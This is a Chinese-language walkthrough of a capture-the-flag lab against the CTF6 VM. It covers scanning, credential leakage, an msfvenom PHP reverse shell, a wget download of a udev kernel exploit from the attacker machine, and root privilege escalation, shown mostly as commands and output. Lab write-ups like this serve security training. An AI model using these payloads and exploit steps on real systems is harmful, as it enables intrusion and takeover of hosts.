渗透测试,思路很重要!
环境准备
VMware Workstation Pro 14
Kali-Linux-2019.2-vmware-amd64
CTF6
1、信息收集
1.1 主机发现
攻击机kali和靶机CTF6使用NAT网卡,kali中使用命令-netdiscover
root@kali:~# netdiscover -r 10.10.10.132 //IP地址是10.10.10.132是kali地址
1.2 端口扫描
在攻击机kali中使用工具-nmap
root@kali:~# nmap -sS -sV -A -v 10.10.10.134
补充工具-nmap
的参数说明
-sS 利用SYN TCP扫描
-sV 探测开放
-A 详细地对目标IP地址进行扫描
-v 显示扫描过程
开放了以下的端口服务
22 SSH
80 HTTP
110 POP3
111 rpcbind
443 HTTPS
3306 MySQL
使用谷歌浏览器访问靶机IP地址,利用插件WappalyZer获取信息。
2、漏洞挖掘
2.1工具-nikto
使用
Nikto用来检查网页服务器和其他多个范畴内的项目:
错误的配置 \默认文件和脚本\不安全的文件和脚本\过时软件
Nikto是一个用来发现默认网页文件、检查网页服务器和CGI安全问题的工具。它对远程主机使用大量请求,这些过量的请求可能会导致远程主机宕机。Nikto可能会损害主机、远程主机和网络。某些选项可能对目标产生超过70,000个HTTP请求。 同样从网站更新的插件也不能保证绝对系统无害,选择权在用户手中。
root@kali:~# nikto -h http://10.10.10.134
扫描发现了重要的路径/sql/和/docs/
,使用谷歌浏览器分别打开进行查找。
进入这个目录,发现db.sql
,点击进入。
发现user_username,user_password
。
在/docs/
发现源代码,进行下载查看,代码审计。
在default.php
中,发现SQL注入代码,对用户输入的id没有设置过滤或者验证,可能存在注入点,可以尝试一下。
在config.ini
找到了数据库的账号和密码,意思是“拿站”?
为所欲为????
前面已经拿到了user_username=admin user_password=adminpass
那么登陆一下
当然,这里你也可以使用sqlmap
去爆破数据库拿到账号和密码。双重验证!!!
登陆进来了,
注意:部分浏览器可能登陆后没有返回现象,更换浏览器,我这里使用的是谷歌浏览器!!
3.3 权限提升
3.1MSF反弹shell
metasploit中payload的reverse_tcp和bind_tcp这两种情况,可以参考下面这篇文章:点击这里传送查看区别
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.132 LPOST=4444 -o shell.php
看见Saved as:shell.php
将它上传到CTF6,即上传shell
3.2启动MSF
root@kali:~# msfconsole
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.10.132
LHOST => 10.10.10.132
msf5 exploit(multi/handler) > exploit
meterpreter > sysinfo
Computer : 10.10.10.134
OS : Linux 10.10.10.134 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686
Meterpreter : php/linux
查看版本知道此CTF6的版本是Linux 2.6,进行Google Hacking。
通过信息搜集,知道Linux2.6存在udev
提权。
进行交互式shell
meterpreter > shell
Process 19539 created.
Channel 1 created.
whoami
apache
python -c 'import pty;pty.spawn("/bin/bash")'
bash-3.2$
查找exp
root@kali:~# searchsploit linux udev
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Linux Kernel 2.6 (Debian 4.0 / Ubuntu | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10 | exploits/linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local | exploits/linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' | exploits/linux/local/21848.rb
--------------------------------------- ----------------------------------------
Shellcodes: No Result
将攻击代码复制到/tmp
文件夹下面,进去文件夹
root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/8478.sh /tmp
root@kali:~# cd /tmp/
root@kali:/tmp# ls
8478.sh
sqlmapE_BZl13390
ssh-9lsudsG3z6SR
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-colord.service-C9jFAt
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-haveged.service-VUY3H0
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-ModemManager.service-ukBr9A
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-upower.service-v1ARKc
Temp-769d6833-06af-4572-8b77-65cdbcd42305
tracker-extract-files.0
VMwareDnD
vmware-root_374-557881137
将tmp文件夹设置为共享目录
root@kali:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
交互式shell中下载exp
bash-3.2$ wget http://10.10.10.132/8478.sh // 10.10.10.132是攻击机kali的IP地址
bash-3.2$ ls -la 8478.sh
ls -la 8478.sh
-rw-r--r-- 1 apache apache 3498 Feb 28 2020 8478.sh
bash-3.2$ dos2unix 8478.sh
dos2unix 8478.sh
dos2unix: converting file 8478.sh to UNIX format ...
bash-3.2$ chmod +x 8478.sh
chmod +x 8478.sh
bash-3.2$ ls -la 8478.sh
ls -la 8478.sh
-rwxr-xr-x 1 apache apache 3366 Feb 27 16:11 8478.sh
添加权限完成,攻击
查看进程号,脚本+进程号
bash-3.2$ cat /proc/net/netlink
cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cfebce00 0 0 00000000 0 0 00000000 2
c1301a00 0 2984 00000111 0 0 00000000 2
cfc3aa00 6 0 00000000 0 0 00000000 2
cfe74600 7 0 00000000 0 0 00000000 2
cfe60e00 9 0 00000000 0 0 00000000 2
c1309a00 9 2305 00000000 0 0 00000000 2
cf568c00 10 0 00000000 0 0 00000000 2
cfbe4c00 11 0 00000000 0 0 00000000 2
cfc3a400 15 568 ffffffff 0 0 00000000 2
cfebcc00 15 0 00000000 0 0 00000000 2
cfbe4a00 16 0 00000000 0 0 00000000 2
cfd1aa00 18 0 00000000 0 0 00000000 2
利用特殊的进程号进行攻击,提权到root
sh-3.2$ ./8478.sh 568
./8478.sh 568
sh-3.2# whoami
whoami
root
sh-3.2#
完成对CTF 6靶场渗透攻击。
思路总结
信息搜集,端口扫描,威胁建模
使用nikto工具进行扫描,得到敏感的目录
审计代码,得到数据库账号和密码
敏感目录下,拿到登陆数据库账号
使用msf生成php反向shell,通过文件上传执行shell
寻找Linux内核exp,提权root